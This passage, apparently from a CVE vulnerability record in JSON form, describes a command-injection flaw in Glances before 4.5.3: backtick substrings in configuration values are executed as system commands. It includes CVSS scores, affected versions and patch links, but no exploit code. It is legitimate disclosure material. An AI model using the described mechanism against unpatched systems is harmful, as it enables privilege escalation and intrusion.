Prior to version 4.5.3, Glances supports dynamic configuration values in which substrings enclosed in backticks are executed as system commands during configuration parsing. This behavior occurs in Config.get_value() and is implemented without validation or restriction of the executed commands. If an attacker can modify or influence configuration files, arbitrary commands will execute automatically with the privileges of the Glances process during startup or configuration reload. In deployments where Glances runs with elevated privileges (e.g., as a system service), this may lead to privilege escalation. This issue has been patched in version 4.5.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nicolargo:glances:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.5.3", "matchCriteriaId": "5D5895A8-B817-4EFE-BA8C-A8A9156139A7"}]}]}], "references": [{"url": "https://github.com/nicolargo/glances/commit/358d76a225fc21a9f95d2c4d7e46fafe64a644c6", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/nicolargo/glances/releases/tag/v4.5.3", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/nicolargo/glances/security/advisories/GHSA-qhj7-v7h7-q4c7", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/nicolargo/glances/security/advisories/GHSA-qhj7-v7h7-q4c7", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}
